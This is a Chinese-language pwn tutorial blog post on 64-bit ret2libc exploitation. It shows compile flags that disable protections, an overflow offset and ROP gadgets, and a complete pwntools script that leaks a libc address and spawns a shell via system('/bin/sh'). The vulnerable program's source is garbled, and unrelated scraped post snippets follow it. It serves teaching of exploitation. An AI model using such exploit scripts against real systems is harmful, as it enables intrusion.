PWN基礎17 Ret2Libc 64位例項

2021-10-08 09:33:34 字數 2283 閱讀 2364

1、復現一下ret2libc 32位下的記憶體布局

針對這張圖,我們在上一節做了細緻的分析

32位的呼叫方式

64位的呼叫方式

這節課,我們研究的原始碼

#include char buf2[10]="ret2libc is good";

void vul()

void main()

使用如下指令編譯

gcc -no-pie -fno-stack-protector  -o ret2libc_64 ret2libc_64.c
檢視一下保護情況

通過gdb除錯,先來計算一下溢位偏移

隨後將生成的串拷入

這裡計算偏移取的位置與32位下有些區別

只取後4個位元組,ok,偏移是18

因為是64位的程式,使用暫存器傳遞引數,我們通過pop指令來向暫存器中傳值

下面來搜尋gadget

通過ldd命令查詢程式所需的動態鏈結庫(so)

編寫exp如下

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

p=process("./ret2libc_64")

e=elf("./ret2libc_64")

write_plt_addr=e.plt["write"]

gets_got_addr=e.got["gets"]

vul_addr=e.symbols["vul"]

pop_rdi_addr=0x4005e3

pop_rsi_addr=0x4005e1

offset=18

pause()

payload1=offset*"a"+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(gets_got_addr)+p64(1)+p64(write_plt_addr)+p64(vul_addr)

p.sendlineafter("hello",payload1)

#gets_addr=u64(p.recv(8))

gets_addr=u64(p.recv()[:8])

print hex(gets_addr)

libc=elf("/lib/x86_64-linux-gnu/libc.so.6")

libc_base=gets_addr-libc.symbols["gets"]

system_addr=libc_base+libc.symbols["system"]

bin_sh_addr=libc_base+libc.search("/bin/sh").next()

payload2=offset*"b"+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)

p.sendline(payload2)

p.interactive()

測試exp,ok,我們成功獲得shell

好了,這節就到這裡了

加油參考

roger師傅的課程

pwn基礎學習日誌 七

小結 1.棧溢位 2.堆溢位 3.整數溢位漏洞 4.格式化字串漏洞 棧溢位通過如scanf strcpy read等危險的輸入函式存在的漏洞使輸入資料對棧空間內容進行覆蓋導致溢位。堆溢位通過向動態申請獲得的堆空間內寫入超過堆空間的資料導致下乙個堆的堆頭資訊被破壞 即空閒堆鍊錶指標被覆蓋 當使用到該指...

python基礎 re使用

以乙個帶檔案操作的例子說明 目標 開啟乙個檔案,提取 中的內容,儲存在乙個新的檔案裡 涉及到的一些操作 序號操作 1檔案操作codecs.open 2正規表示式re模組的使用 上 import linecache import re import codecs filename lolstatist...

正則語言RE基礎

使用單個字串來描述匹配一系列符合某個句法規則的字串,regular expression 破兩提取 替換 在高階文字編譯器中 在開發語言總使用驗證輸入輸出 使用者輸入的合法性驗證 爬蟲。1.元字元 如果就是想要匹配.或者?可以使用轉義字元 來將特殊字元轉普通字元 用來表示注釋 分行 來表示,這個我個...